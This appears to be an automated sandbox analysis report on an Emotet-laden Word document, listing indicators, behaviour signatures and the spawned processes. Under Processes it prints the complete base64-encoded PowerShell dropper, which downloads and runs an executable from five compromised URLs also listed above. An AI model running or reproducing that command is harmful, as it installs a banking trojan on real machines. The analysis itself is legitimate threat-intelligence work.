Overview

overview

10

Static

static

8

IO_9119540...01.doc

windows7_x64

10

IO_9119540...01.doc

windows10_x64

10

Analysis

  • max time kernel
    57s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    28/07/2020, 11:40

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    IO_9119540846420301801.doc
  • Size 171KB
  • Sample200728-4y6lftrdlj
  • SHA256 dcab281c030ca8ebd833b95d2379df634eec571e1ae19b6aad70ae1a0eb2e07e
  • MD5 SHA1 SHA512
Score
10/10
discoverytrojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://laboratbahasa.com/wp-admin/2_5jqn_7bc/
  • exe.dropper

    http://www.interibericos.com/mantenimiento/epkxx_b4_xca/
  • exe.dropper

    http://yeandle.co.uk/5t34_ipz_2/
  • exe.dropper

    http://www.wiredmoney.net/wp-includes/9abj_oppb_75xez1i3c0/
  • exe.dropper

    http://www.worldhealthtourismcongress.org/images/nuv7_e9z9x_etch/

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\IO_9119540846420301801.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    PID:1156
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JAB6AGUAZQBjAGgAcQB1AG8AaQBkAGoAbwBlAG4APQAnAGcAaQBlAGwAdgBlAGkAZwBiAGUAZQBnAHYAbwBhAGMAaAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwB1AFIAaQBgAFQAWQBgAHAAUgBPAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAYwBoAG8AdQBmAHgAZQBhAHYAIAA9ACAAJwA1ADYANQAnADsAJAB5AG8AYQBqAGcAdQB1AGwAdgBvAGEAdgA9ACcAYwBlAGUAawBjAGgAZQBvAHEAdQBjAG8AYQB5AHQAZQB1AGwAJwA7ACQAYgBhAGwAbABvAHAAYgBpAGUAegBqAGkAYwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYwBoAG8AdQBmAHgAZQBhAHYAKwAnAC4AZQB4AGUAJwA7ACQAcQB1AGEAZwBoAHUAYQBuAD0AJwB3AGEAdQBjAGgAYwBoAGEAZQBjAGgAJwA7ACQAcgBpAGgAZgBhAGUAcAA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgBXAEUAYgBjAEwAaQBFAE4AdAA7ACQAeQB1AHUAYwBuAGUAYQB3AGcAdQBhAGQAegBvAHkAPQAnAGgAdAB0AHAAcwA6AC8ALwBsAGEAYgBvAHIAYQB0AGIAYQBoAGEAcwBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAyAF8ANQBqAHEAbgBfADcAYgBjAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AaQBuAHQAZQByAGkAYgBlAHIAaQBjAG8AcwAuAGMAbwBtAC8AbQBhAG4AdABlAG4AaQBtAGkAZQBuAHQAbwAvAGUAcABrAHgAeABfAGIANABfAHgAYwBhAC8AKgBoAHQAdABwADoALwAvAHkAZQBhAG4AZABsAGUALgBjAG8ALgB1AGsALwA1AHQAMwA0AF8AaQBwAHoAXwAyAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AdwBpAHIAZQBkAG0AbwBuAGUAeQAuAG4AZQB0AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AOQBhAGIAagBfAG8AcABwAGIAXwA3ADUAeABlAHoAMQBpADMAYwAwAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AdwBvAHIAbABkAGgAZQBhAGwAdABoAHQAbwB1AHIAaQBzAG0AYwBvAG4AZwByAGUAcwBzAC4AbwByAGcALwBpAG0AYQBnAGUAcwAvAG4AdQB2ADcAXwBlADkAegA5AHgAXwBlAHQAYwBoAC8AJwAuACIAUwBQAGwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABmAGEAbwB0AHcAbwBvAGIAPQAnAGQAaQBhAHAAeQBlAG8AdwBtAGUAYQBnAGoAYQB1AHQAaAAnADsAZgBvAHIAZQBhAGMAaAAoACQAcwBpAGUAbQBjAGgAZQBhAHMAIABpAG4AIAAkAHkAdQB1AGMAbgBlAGEAdwBnAHUAYQBkAHoAbwB5ACkAewB0AHIAeQB7ACQAcgBpAGgAZgBhAGUAcAAuACIAZABgAG8AVwBuAEwAYABPAEEARABGAGkAYABsAEUAIgAoACQAcwBpAGUAbQBjAGgAZQBhAHMALAAgACQAYgBhAGwAbABvAHAAYgBpAGUAegBqAGkAYwApADsAJABiAHUAYQB2AHgAbwBvAGMAegBpAHYAPQAnAGgAaQBhAGMAcwBlAGEAegBmAHUAYQBkACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAYgBhAGwAbABvAHAAYgBpAGUAegBqAGkAYwApAC4AIgBsAEUATgBgAEcAVABIACIAIAAtAGcAZQAgADIAMQAwADkANQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAGUAQQBgAFQARQAiACgAJABiAGEAbABsAG8AcABiAGkAZQB6AGoAaQBjACkAOwAkAGMAaABpAGEAZwByAGUAaQBjAGgAdgBhAGUAZAA9ACcAeQB1AGEAYgB5AGUAaQB4ACcAOwBiAHIAZQBhAGsAOwAkAGgAZQBmAGYAaQBmAHkAaQBvAHMAYwBoAGEAaQBwAD0AJwBzAGkAZQB5AGgAYQBvAHEAdQB0AGgAYQBpAG0AdABoAGUAZQBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGoAZQBpAHEAdQB2AGkAYQBtAGYAaQBrAD0AJwB2AG8AZQByAG0AZQB1AGwAYwBoAGUAYgAnAA==
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    PID:1652
  • C:\Users\Admin\565.exe
    C:\Users\Admin\565.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Executes dropped EXE
    PID:1788
    • C:\Windows\SysWOW64\KBDSL\InkEd.exe
      "C:\Windows\SysWOW64\KBDSL\InkEd.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:1656

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1156-9-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/1156-7-0x0000000006FA0000-0x00000000071A0000-memory.dmp
        Download

        memory/1156-8-0x0000000006FA0000-0x00000000071A0000-memory.dmp
        Download

        memory/1156-0-0x0000000006CA0000-0x0000000006DA0000-memory.dmp
        Download

        memory/1156-6-0x000000000BCD0000-0x000000000BCD4000-memory.dmp
        Download

        memory/1156-5-0x000000000AC50000-0x000000000AC54000-memory.dmp
        Download

        memory/1156-2-0x0000000008BE0000-0x0000000008BE4000-memory.dmp
        Download

        memory/1656-15-0x0000000000310000-0x000000000031C000-memory.dmp
        Download

        memory/1788-12-0x0000000000280000-0x000000000028C000-memory.dmp
        Download